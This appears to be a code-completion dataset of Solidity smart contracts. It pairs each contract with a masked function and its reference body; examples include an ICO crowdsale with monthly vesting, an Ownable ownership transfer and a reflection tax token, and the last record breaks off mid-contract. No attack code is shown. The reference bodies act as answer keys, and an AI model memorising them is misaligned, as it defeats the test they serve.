ETH donation // See comments in Address.sol for why we use sendValue over transer _donations[i].dest.sendValue(_donations[i].amount); _ethDonationTotal = _ethDonationTotal.add(_donations[i].amount); } } // Revert if the wrong amount of ETH was sent require(msg.value == _ethDonationTotal, "BulkCheckout: Too much ETH sent"); } /** * @notice Transfers all tokens of the input adress to the recipient. This is * useful tokens are accidentally sent to this contrasct * @param _tokenAddress address of token to send * @param _dest destination address to send tokens to */ function withdrawToken(address _tokenAddress, address _dest) external onlyOwner { uint256 _balance = IERC20(_tokenAddress).balanceOf(address(this)); emit TokenWithdrawn(_tokenAddress, _balance, _dest); SafeERC20.safeTransfer(IERC20(_tokenAddress), _dest, _balance); } <FILL_FUNCTION> /** * @notice Pause contract */ function pause() external onlyOwner whenNotPaused { _pause(); } /** * @notice Unpause contract */ function unpause() external onlyOwner whenPaused { _unpause(); } }
uint256 _balance = address(this).balance; emit TokenWithdrawn(ETH_TOKEN_PLACHOLDER, _balance, _dest); _dest.sendValue(_balance);
function withdrawEther(address payable _dest) external onlyOwner
/** * @notice Transfers all Ether to the specified address * @param _dest destination address to send ETH to */ function withdrawEther(address payable _dest) external onlyOwner
30325
SECrowdsale
getICOtoken
contract SECrowdsale { using SafeMath for uint256; // The token being sold address constant public SEcoin = 0xe45b7cd82ac0f3f6cfc9ecd165b79d6f87ed2875;//"SEcoin address" // start and end timestamps where investments are allowed (both inclusive) uint256 public startTime; uint256 public endTime; // address where funds are collected address public SEcoinWallet = 0x5C737AdC09a0cFA1C9b83E199971a677163ddd07;//"SEcoin all token inside & ICO ether"; address public SEcoinsetWallet = 0x52873e9191f21a26ddc8b65e5dddbac6b73b69e8;//"control SEcoin SmartContract address" // how many token units a buyer gets per wei uint256 public rate = 6000;//"ICO start rate" // amount of raised money in wei uint256 public weiRaised; uint256 public weiSold; //storage address and amount address public SEcoinbuyer; address[] public SEcoinbuyerevent; uint256[] public SEcoinAmountsevent; uint256[] public SEcoinmonth; uint public firstbuy; uint SEcoinAmounts ; uint SEcoinAmountssend; mapping(address => uint) public icobuyer; mapping(address => uint) public icobuyer2; event TokenPurchase(address indexed purchaser, address indexed SEcoinbuyer, uint256 value, uint256 amount,uint SEcoinAmountssend); // fallback function can be used to buy tokens function () external payable {buyTokens(msg.sender);} //check buyer function buyer(address SEcoinbuyer) internal{ if(icobuyer[msg.sender]==0){ icobuyer[msg.sender] = firstbuy; icobuyer2[msg.sender] = firstbuy; firstbuy++; //event buyer SEcoinbuyerevent.push(SEcoinbuyer); SEcoinAmountsevent.push(SEcoinAmounts); SEcoinmonth.push(0); }else if(icobuyer[msg.sender]!=0){ uint i = icobuyer2[msg.sender]; SEcoinAmountsevent[i]=SEcoinAmountsevent[i]+SEcoinAmounts; icobuyer2[msg.sender]=icobuyer[msg.sender];} } // low level token purchase function function buyTokens(address SEcoinbuyer) public payable { require(SEcoinbuyer != address(0x0)); require(selltime()); require(msg.value>=1*1e16 && msg.value<=200*1e18); // calculate token amount to be created SEcoinAmounts = calculateObtainedSEcoin(msg.value); SEcoinAmountssend= calculateObtainedSEcoinsend(SEcoinAmounts); // update state weiRaised = weiRaised.add(msg.value); weiSold = weiSold.add(SEcoinAmounts); //sendtoken require(ERC20Basic(SEcoin).transfer(SEcoinbuyer, SEcoinAmountssend)); //call function buyer(msg.sender); checkRate(); forwardFunds(); //write event emit TokenPurchase(msg.sender, SEcoinbuyer, msg.value, SEcoinAmounts,SEcoinAmountssend); } // send ether to the fund collection wallet // override to create custom fund forwarding mechanisms function forwardFunds() internal { SEcoinWallet.transfer(msg.value); } //calculate Amount function calculateObtainedSEcoin(uint256 amountEtherInWei) public view returns (uint256) { checkRate(); return amountEtherInWei.mul(rate); } function calculateObtainedSEcoinsend (uint SEcoinAmounts)public view returns (uint){ return SEcoinAmounts.div(10); } // return true if the transaction can buy tokens function selltime() internal view returns (bool) { bool withinPeriod = now >= startTime && now <= endTime; return withinPeriod; } // return true if crowdsale event has ended function hasEnded() public view returns (bool) { bool isEnd = now > endTime || weiRaised >= 299600000*1e18;//ico max token return isEnd; } //releaseSEcoin only admin function releaseSEcoin() public returns (bool) { require (msg.sender == SEcoinsetWallet); require (hasEnded() && startTime != 0); SEcoinAbstract(SEcoin).unlock(); } //getunselltoken only admin function getunselltoken()public returns(bool){ require (msg.sender == SEcoinsetWallet); require (hasEnded() && startTime != 0); uint256 remainedSEcoin = ERC20Basic(SEcoin).balanceOf(this)-weiSold; ERC20Basic(SEcoin).transfer(SEcoinWallet, remainedSEcoin); } //backup function getunselltokenB()public returns(bool){ require (msg.sender == SEcoinsetWallet); require (hasEnded() && startTime != 0); uint256 remainedSEcoin = ERC20Basic(SEcoin).balanceOf(this); ERC20Basic(SEcoin).transfer(SEcoinWallet, remainedSEcoin); } // be sure to get the token ownerships function start() public returns (bool) { require (msg.sender == SEcoinsetWallet); require (firstbuy==0); startTime = 1541001600;//startTime endTime = 1543593599;//endTime SEcoinbuyerevent.push(SEcoinbuyer); SEcoinAmountsevent.push(SEcoinAmounts); SEcoinmonth.push(0); firstbuy=1; } //Change setting Wallet function changeSEcoinWallet(address _SEcoinsetWallet) public returns (bool) { require (msg.sender == SEcoinsetWallet); SEcoinsetWallet = _SEcoinsetWallet; } //ckeckRate function checkRate() public returns (bool) { if (now>=startTime && now< 1541433599){ rate = 6000;//section one }else if (now >= 1541433599 && now < 1542297599) { rate = 5000;//section two }else if (now >= 1542297599 && now < 1543161599) { rate = 4000;//section three }else if (now >= 1543161599) { rate = 3500;//section four } } //get ICOtoken in everyMonth function getICOtoken(uint number)public returns(string){<FILL_FUNCTION_BODY> } }
contract SECrowdsale { using SafeMath for uint256; // The token being sold address constant public SEcoin = 0xe45b7cd82ac0f3f6cfc9ecd165b79d6f87ed2875;//"SEcoin address" // start and end timestamps where investments are allowed (both inclusive) uint256 public startTime; uint256 public endTime; // address where funds are collected address public SEcoinWallet = 0x5C737AdC09a0cFA1C9b83E199971a677163ddd07;//"SEcoin all token inside & ICO ether"; address public SEcoinsetWallet = 0x52873e9191f21a26ddc8b65e5dddbac6b73b69e8;//"control SEcoin SmartContract address" // how many token units a buyer gets per wei uint256 public rate = 6000;//"ICO start rate" // amount of raised money in wei uint256 public weiRaised; uint256 public weiSold; //storage address and amount address public SEcoinbuyer; address[] public SEcoinbuyerevent; uint256[] public SEcoinAmountsevent; uint256[] public SEcoinmonth; uint public firstbuy; uint SEcoinAmounts ; uint SEcoinAmountssend; mapping(address => uint) public icobuyer; mapping(address => uint) public icobuyer2; event TokenPurchase(address indexed purchaser, address indexed SEcoinbuyer, uint256 value, uint256 amount,uint SEcoinAmountssend); // fallback function can be used to buy tokens function () external payable {buyTokens(msg.sender);} //check buyer function buyer(address SEcoinbuyer) internal{ if(icobuyer[msg.sender]==0){ icobuyer[msg.sender] = firstbuy; icobuyer2[msg.sender] = firstbuy; firstbuy++; //event buyer SEcoinbuyerevent.push(SEcoinbuyer); SEcoinAmountsevent.push(SEcoinAmounts); SEcoinmonth.push(0); }else if(icobuyer[msg.sender]!=0){ uint i = icobuyer2[msg.sender]; SEcoinAmountsevent[i]=SEcoinAmountsevent[i]+SEcoinAmounts; icobuyer2[msg.sender]=icobuyer[msg.sender];} } // low level token purchase function function buyTokens(address SEcoinbuyer) public payable { require(SEcoinbuyer != address(0x0)); require(selltime()); require(msg.value>=1*1e16 && msg.value<=200*1e18); // calculate token amount to be created SEcoinAmounts = calculateObtainedSEcoin(msg.value); SEcoinAmountssend= calculateObtainedSEcoinsend(SEcoinAmounts); // update state weiRaised = weiRaised.add(msg.value); weiSold = weiSold.add(SEcoinAmounts); //sendtoken require(ERC20Basic(SEcoin).transfer(SEcoinbuyer, SEcoinAmountssend)); //call function buyer(msg.sender); checkRate(); forwardFunds(); //write event emit TokenPurchase(msg.sender, SEcoinbuyer, msg.value, SEcoinAmounts,SEcoinAmountssend); } // send ether to the fund collection wallet // override to create custom fund forwarding mechanisms function forwardFunds() internal { SEcoinWallet.transfer(msg.value); } //calculate Amount function calculateObtainedSEcoin(uint256 amountEtherInWei) public view returns (uint256) { checkRate(); return amountEtherInWei.mul(rate); } function calculateObtainedSEcoinsend (uint SEcoinAmounts)public view returns (uint){ return SEcoinAmounts.div(10); } // return true if the transaction can buy tokens function selltime() internal view returns (bool) { bool withinPeriod = now >= startTime && now <= endTime; return withinPeriod; } // return true if crowdsale event has ended function hasEnded() public view returns (bool) { bool isEnd = now > endTime || weiRaised >= 299600000*1e18;//ico max token return isEnd; } //releaseSEcoin only admin function releaseSEcoin() public returns (bool) { require (msg.sender == SEcoinsetWallet); require (hasEnded() && startTime != 0); SEcoinAbstract(SEcoin).unlock(); } //getunselltoken only admin function getunselltoken()public returns(bool){ require (msg.sender == SEcoinsetWallet); require (hasEnded() && startTime != 0); uint256 remainedSEcoin = ERC20Basic(SEcoin).balanceOf(this)-weiSold; ERC20Basic(SEcoin).transfer(SEcoinWallet, remainedSEcoin); } //backup function getunselltokenB()public returns(bool){ require (msg.sender == SEcoinsetWallet); require (hasEnded() && startTime != 0); uint256 remainedSEcoin = ERC20Basic(SEcoin).balanceOf(this); ERC20Basic(SEcoin).transfer(SEcoinWallet, remainedSEcoin); } // be sure to get the token ownerships function start() public returns (bool) { require (msg.sender == SEcoinsetWallet); require (firstbuy==0); startTime = 1541001600;//startTime endTime = 1543593599;//endTime SEcoinbuyerevent.push(SEcoinbuyer); SEcoinAmountsevent.push(SEcoinAmounts); SEcoinmonth.push(0); firstbuy=1; } //Change setting Wallet function changeSEcoinWallet(address _SEcoinsetWallet) public returns (bool) { require (msg.sender == SEcoinsetWallet); SEcoinsetWallet = _SEcoinsetWallet; } //ckeckRate function checkRate() public returns (bool) { if (now>=startTime && now< 1541433599){ rate = 6000;//section one }else if (now >= 1541433599 && now < 1542297599) { rate = 5000;//section two }else if (now >= 1542297599 && now < 1543161599) { rate = 4000;//section three }else if (now >= 1543161599) { rate = 3500;//section four } } <FILL_FUNCTION> }
require(SEcoinbuyerevent[number] == msg.sender); require(now>=1543593600&&now<=1567267199); uint _month; //December 2018 two if(now>=1543593600 && now<=1546271999 && SEcoinmonth[number]==0){ require(SEcoinmonth[number]==0); ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], SEcoinAmountsevent[number].div(10)); SEcoinmonth[number]=1; } //February January 2019 three else if(now>=1546272000 && now<=1548950399 && SEcoinmonth[number]<=1){ if(SEcoinmonth[number]==1){ ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], SEcoinAmountsevent[number].div(10)); SEcoinmonth[number]=2; }else if(SEcoinmonth[number]<1){ _month = 2-SEcoinmonth[number]; ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], (SEcoinAmountsevent[number].div(10))*_month); SEcoinmonth[number]=2;} } //February 2019 four else if(now>=1548950400 && now<=1551369599 && SEcoinmonth[number]<=2){ if(SEcoinmonth[number]==2){ ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], SEcoinAmountsevent[number].div(10)); SEcoinmonth[number]=3; }else if(SEcoinmonth[number]<2){ _month = 3-SEcoinmonth[number]; ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], (SEcoinAmountsevent[number].div(10))*_month); SEcoinmonth[number]=3;} } //March 2019 five else if(now>=1551369600 && now<=1554047999 && SEcoinmonth[number]<=3){ if(SEcoinmonth[number]==3){ ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], SEcoinAmountsevent[number].div(10)); SEcoinmonth[number]=4; }else if(SEcoinmonth[number]<3){ _month = 4-SEcoinmonth[number]; ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], (SEcoinAmountsevent[number].div(10))*_month); SEcoinmonth[number]=4;} } //April 2019 six else if(now>=1554048000 && now<=1556639999 && SEcoinmonth[number]<=4){ if(SEcoinmonth[number]==4){ ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], SEcoinAmountsevent[number].div(10)); SEcoinmonth[number]=5; }else if(SEcoinmonth[number]<4){ _month = 5-SEcoinmonth[number]; ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], (SEcoinAmountsevent[number].div(10))*_month); SEcoinmonth[number]=5;} } //May 2019 seven else if(now>=1556640000 && now<=1559318399 && SEcoinmonth[number]<=5){ if(SEcoinmonth[number]==5){ ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], SEcoinAmountsevent[number].div(10)); SEcoinmonth[number]=6; }else if(SEcoinmonth[number]<5){ _month = 6-SEcoinmonth[number]; ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], (SEcoinAmountsevent[number].div(10))*_month); SEcoinmonth[number]=6;} } //June 2019 eight else if(now>=1559318400 && now<=1561910399 && SEcoinmonth[number]<=6){ if(SEcoinmonth[number]==6){ ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], SEcoinAmountsevent[number].div(10)); SEcoinmonth[number]=7; }else if(SEcoinmonth[number]<6){ _month = 7-SEcoinmonth[number]; ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], (SEcoinAmountsevent[number].div(10))*_month); SEcoinmonth[number]=7;} } //July 2019 nine August else if(now>=1561910400 && now<=1564588799 && SEcoinmonth[number]<=7){ if(SEcoinmonth[number]==7){ ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], SEcoinAmountsevent[number].div(10)); SEcoinmonth[number]=8; }else if(SEcoinmonth[number]<7){ _month = 8-SEcoinmonth[number]; ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], (SEcoinAmountsevent[number].div(10))*_month); SEcoinmonth[number]=8;} } //August 2019 ten else if(now>=1564588800 && now<=1567267199 && SEcoinmonth[number]<=8){ if(SEcoinmonth[number]==8){ ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], SEcoinAmountsevent[number].div(10)); SEcoinmonth[number]=9; }else if(SEcoinmonth[number]<8){ _month = 9-SEcoinmonth[number]; ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], (SEcoinAmountsevent[number].div(10))*_month); SEcoinmonth[number]=9;} } //get all token else if(now<1543593600 || now>1567267199 || SEcoinmonth[number]>=9){ revert("Get all tokens or endtime"); }
function getICOtoken(uint number)public returns(string)
//get ICOtoken in everyMonth function getICOtoken(uint number)public returns(string)
27101
Ownable
transferOwnership
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() internal{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner, 'you are not the owner of this contract'); _; } function transferOwnership(address newOwner) public onlyOwner {<FILL_FUNCTION_BODY> } }
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() internal{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner, 'you are not the owner of this contract'); _; } <FILL_FUNCTION> }
require(newOwner != address(0), 'must provide valid address for new owner'); emit OwnershipTransferred(owner, newOwner); owner = newOwner;
function transferOwnership(address newOwner) public onlyOwner
function transferOwnership(address newOwner) public onlyOwner
15096
BurnableTaxHolderToken
_burn
contract BurnableTaxHolderToken is ERC20Burnable, Ownable { mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping (address => bool) private _isExcludedFromFee; mapping(address => bool) private _isExcluded; address[] private _excluded; uint8 private _decimals; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal; uint256 private _rTotal; uint256 private _tFeeTotal = 0; uint256 private _reflectionFee; uint256 private _previousReflectionFee; uint256 private _burnFee; uint256 private _previousBurnFee; uint256 private _taxFee; uint256 private _previousTaxFee; address private _feeAccount; constructor(uint256 tTotal_, string memory name_, string memory symbol_, uint8 decimals_, uint256 burnFee_, uint256 taxFee_, uint256 reflectionFee_, address feeAccount_, address service_) ERC20(name_, symbol_) payable { _decimals = decimals_; _tTotal = tTotal_ * 10 ** decimals_; _rTotal = (MAX - (MAX % _tTotal)); _reflectionFee = reflectionFee_; _previousReflectionFee = _reflectionFee; _burnFee = burnFee_; _previousBurnFee = _burnFee; _taxFee = taxFee_; _previousTaxFee = _taxFee; _feeAccount = feeAccount_; //exclude owner, feeaccount and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_feeAccount] = true; _isExcludedFromFee[address(this)] = true; _mintStart(_msgSender(), _rTotal, _tTotal); payable(service_).transfer(getBalance()); } receive() payable external{ } function getBalance() private view returns(uint256){ return address(this).balance; } function decimals() public view virtual override returns (uint8) { return _decimals; } function totalSupply() public view virtual override returns (uint256) { return _tTotal; } function reflectionFee() public view returns(uint256) { return _reflectionFee; } function getBurnFee() public view returns (uint256) { return _burnFee; } function getTaxFee() public view returns (uint256) { return _taxFee; } function getFeeAccount() public view returns(address){ return _feeAccount; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function balanceOf(address sender) public view virtual override returns(uint256) { if(_isExcluded[sender]) { return _tOwned[sender]; } return tokenFromReflection(_rOwned[sender]); } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFeesRedistributed() public view returns (uint256) { return _tFeeTotal; } function excludeFromFee(address account) public onlyOwner() { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner() { _isExcludedFromFee[account] = false; } function changeFeeAccount(address newFeeAccount) public onlyOwner() returns(bool) { require(newFeeAccount != address(0), "zero address can not be the FeeAccount"); _feeAccount = newFeeAccount; return true; } function changeReflectionFee(uint256 newReflectionFee) public onlyOwner() returns(bool) { require(newReflectionFee >= 0, "Reflection fee must be greater or equal to zero"); require(newReflectionFee <= 10, "Reflection fee must be lower or equal to ten"); _reflectionFee = newReflectionFee; return true; } function changeBurnFee(uint256 burnFee_) public onlyOwner() returns(bool) { require(burnFee_ >= 0, "Burn fee must be greater or equal to zero"); require(burnFee_ <= 10, "Burn fee must be lower or equal to 10"); _burnFee = burnFee_; return true; } function changeTaxFee(uint256 taxFee_) public onlyOwner() returns(bool) { require(taxFee_ >= 0, "Tax fee must be greater or equal to zero"); require(taxFee_ <= 10, "Tax fee must be lower or equal to 10"); _taxFee = taxFee_; return true; } function _mintStart(address receiver, uint256 rSupply, uint256 tSupply) private { require(receiver != address(0), "ERC20: mint to the zero address"); _rOwned[receiver] = _rOwned[receiver] + rSupply; emit Transfer(address(0), receiver, tSupply); } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,) = _getTransferValues(tAmount); _rOwned[sender] = _rOwned[sender] - rAmount; _rTotal = _rTotal - rAmount; _tFeeTotal = _tFeeTotal + tAmount; } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,) = _getTransferValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,) = _getTransferValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount / currentRate; } function excludeAccountFromReward(address account) public onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccountinReward(address account) public onlyOwner() { require(_isExcluded[account], "Account is already included"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transfer(address sender, address recipient, uint256 amount) internal virtual override { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = balanceOf(sender); require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _beforeTokenTransfer(sender, recipient, amount); bool takeFee = true; if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]) { takeFee = false; } _tokenTransfer(sender, recipient, amount, takeFee); } function _tokenTransfer(address from, address to, uint256 value, bool takeFee) private { if(!takeFee) { removeAllFee(); } if (_isExcluded[from] && !_isExcluded[to]) { _transferFromExcluded(from, to, value); } else if (!_isExcluded[from] && _isExcluded[to]) { _transferToExcluded(from, to, value); } else if (!_isExcluded[from] && !_isExcluded[to]) { _transferStandard(from, to, value); } else if (_isExcluded[from] && _isExcluded[to]) { _transferBothExcluded(from, to, value); } else { _transferStandard(from, to, value); } if(!takeFee) { restoreAllFee(); } } function removeAllFee() private { if(_reflectionFee == 0 && _taxFee == 0 && _burnFee == 0) return; _previousReflectionFee = _reflectionFee; _previousTaxFee = _taxFee; _previousBurnFee = _burnFee; _reflectionFee = 0; _taxFee = 0; _burnFee = 0; } function restoreAllFee() private { _reflectionFee = _previousReflectionFee; _taxFee = _previousTaxFee; _burnFee = _previousBurnFee; } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 currentRate) = _getTransferValues(tAmount); _rOwned[sender] = _rOwned[sender] - rAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; burnFeeTransfer(sender, tAmount, currentRate); taxFeeTransfer(sender, tAmount, currentRate); _reflectFee(tAmount, currentRate); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 currentRate) = _getTransferValues(tAmount); _rOwned[sender] = _rOwned[sender] - rAmount; _tOwned[recipient] = _tOwned[recipient] + tTransferAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; burnFeeTransfer(sender, tAmount, currentRate); taxFeeTransfer(sender, tAmount, currentRate); _reflectFee(tAmount, currentRate); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 currentRate) = _getTransferValues(tAmount); _tOwned[sender] = _tOwned[sender] - tAmount; _rOwned[sender] = _rOwned[sender] - rAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; burnFeeTransfer(sender, tAmount, currentRate); taxFeeTransfer(sender, tAmount, currentRate); _reflectFee(tAmount, currentRate); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 currentRate) = _getTransferValues(tAmount); _tOwned[sender] = _tOwned[sender] - tAmount; _rOwned[sender] = _rOwned[sender] - rAmount; _tOwned[recipient] = _tOwned[recipient] + tTransferAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; burnFeeTransfer(sender, tAmount, currentRate); taxFeeTransfer(sender, tAmount, currentRate); _reflectFee(tAmount, currentRate); emit Transfer(sender, recipient, tTransferAmount); } function _getCompleteTaxValue(uint256 tAmount) private view returns(uint256) { uint256 allTaxes = _reflectionFee + _taxFee + _burnFee; uint256 taxValue = tAmount * allTaxes / 100; return taxValue; } function _getTransferValues(uint256 tAmount) private view returns(uint256, uint256, uint256, uint256) { uint256 taxValue = _getCompleteTaxValue(tAmount); uint256 tTransferAmount = tAmount - taxValue; uint256 currentRate = _getRate(); uint256 rTransferAmount = tTransferAmount * currentRate; uint256 rAmount = tAmount * currentRate; return(rAmount, rTransferAmount, tTransferAmount, currentRate); } function _reflectFee(uint256 tAmount, uint256 currentRate) private { uint256 tFee = tAmount * _reflectionFee / 100; uint256 rFee = tFee * currentRate; _rTotal = _rTotal - rFee; _tFeeTotal = _tFeeTotal + tFee; } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply / tSupply; } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for(uint256 i = 0; i < _excluded.length; i++){ if(_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) { return(_rTotal, _tTotal); } rSupply = rSupply - _rOwned[_excluded[i]]; tSupply = tSupply - _tOwned[_excluded[i]]; } if(rSupply < _rTotal / _tTotal) { return(_rTotal, _tTotal); } return (rSupply, tSupply); } function burnFeeTransfer(address sender, uint256 tAmount, uint256 currentRate) private { uint256 tBurnFee = tAmount * _burnFee / 100; if(tBurnFee > 0){ uint256 rBurnFee = tBurnFee * currentRate; _tTotal = _tTotal - tBurnFee; _rTotal = _rTotal - rBurnFee; emit Transfer(sender, address(0), tBurnFee); } } function taxFeeTransfer(address sender, uint256 tAmount, uint256 currentRate) private { uint256 tTaxFee = tAmount * _taxFee / 100; if(tTaxFee > 0){ uint256 rTaxFee = tTaxFee * currentRate; _rOwned[_feeAccount] = _rOwned[_feeAccount] + rTaxFee; emit Transfer(sender, _feeAccount, tTaxFee); } } function _burn(address account, uint256 amount) internal virtual override {<FILL_FUNCTION_BODY> } }
contract BurnableTaxHolderToken is ERC20Burnable, Ownable { mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping (address => bool) private _isExcludedFromFee; mapping(address => bool) private _isExcluded; address[] private _excluded; uint8 private _decimals; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal; uint256 private _rTotal; uint256 private _tFeeTotal = 0; uint256 private _reflectionFee; uint256 private _previousReflectionFee; uint256 private _burnFee; uint256 private _previousBurnFee; uint256 private _taxFee; uint256 private _previousTaxFee; address private _feeAccount; constructor(uint256 tTotal_, string memory name_, string memory symbol_, uint8 decimals_, uint256 burnFee_, uint256 taxFee_, uint256 reflectionFee_, address feeAccount_, address service_) ERC20(name_, symbol_) payable { _decimals = decimals_; _tTotal = tTotal_ * 10 ** decimals_; _rTotal = (MAX - (MAX % _tTotal)); _reflectionFee = reflectionFee_; _previousReflectionFee = _reflectionFee; _burnFee = burnFee_; _previousBurnFee = _burnFee; _taxFee = taxFee_; _previousTaxFee = _taxFee; _feeAccount = feeAccount_; //exclude owner, feeaccount and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_feeAccount] = true; _isExcludedFromFee[address(this)] = true; _mintStart(_msgSender(), _rTotal, _tTotal); payable(service_).transfer(getBalance()); } receive() payable external{ } function getBalance() private view returns(uint256){ return address(this).balance; } function decimals() public view virtual override returns (uint8) { return _decimals; } function totalSupply() public view virtual override returns (uint256) { return _tTotal; } function reflectionFee() public view returns(uint256) { return _reflectionFee; } function getBurnFee() public view returns (uint256) { return _burnFee; } function getTaxFee() public view returns (uint256) { return _taxFee; } function getFeeAccount() public view returns(address){ return _feeAccount; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function balanceOf(address sender) public view virtual override returns(uint256) { if(_isExcluded[sender]) { return _tOwned[sender]; } return tokenFromReflection(_rOwned[sender]); } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFeesRedistributed() public view returns (uint256) { return _tFeeTotal; } function excludeFromFee(address account) public onlyOwner() { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner() { _isExcludedFromFee[account] = false; } function changeFeeAccount(address newFeeAccount) public onlyOwner() returns(bool) { require(newFeeAccount != address(0), "zero address can not be the FeeAccount"); _feeAccount = newFeeAccount; return true; } function changeReflectionFee(uint256 newReflectionFee) public onlyOwner() returns(bool) { require(newReflectionFee >= 0, "Reflection fee must be greater or equal to zero"); require(newReflectionFee <= 10, "Reflection fee must be lower or equal to ten"); _reflectionFee = newReflectionFee; return true; } function changeBurnFee(uint256 burnFee_) public onlyOwner() returns(bool) { require(burnFee_ >= 0, "Burn fee must be greater or equal to zero"); require(burnFee_ <= 10, "Burn fee must be lower or equal to 10"); _burnFee = burnFee_; return true; } function changeTaxFee(uint256 taxFee_) public onlyOwner() returns(bool) { require(taxFee_ >= 0, "Tax fee must be greater or equal to zero"); require(taxFee_ <= 10, "Tax fee must be lower or equal to 10"); _taxFee = taxFee_; return true; } function _mintStart(address receiver, uint256 rSupply, uint256 tSupply) private { require(receiver != address(0), "ERC20: mint to the zero address"); _rOwned[receiver] = _rOwned[receiver] + rSupply; emit Transfer(address(0), receiver, tSupply); } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,) = _getTransferValues(tAmount); _rOwned[sender] = _rOwned[sender] - rAmount; _rTotal = _rTotal - rAmount; _tFeeTotal = _tFeeTotal + tAmount; } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,) = _getTransferValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,) = _getTransferValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount / currentRate; } function excludeAccountFromReward(address account) public onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccountinReward(address account) public onlyOwner() { require(_isExcluded[account], "Account is already included"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transfer(address sender, address recipient, uint256 amount) internal virtual override { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = balanceOf(sender); require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _beforeTokenTransfer(sender, recipient, amount); bool takeFee = true; if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]) { takeFee = false; } _tokenTransfer(sender, 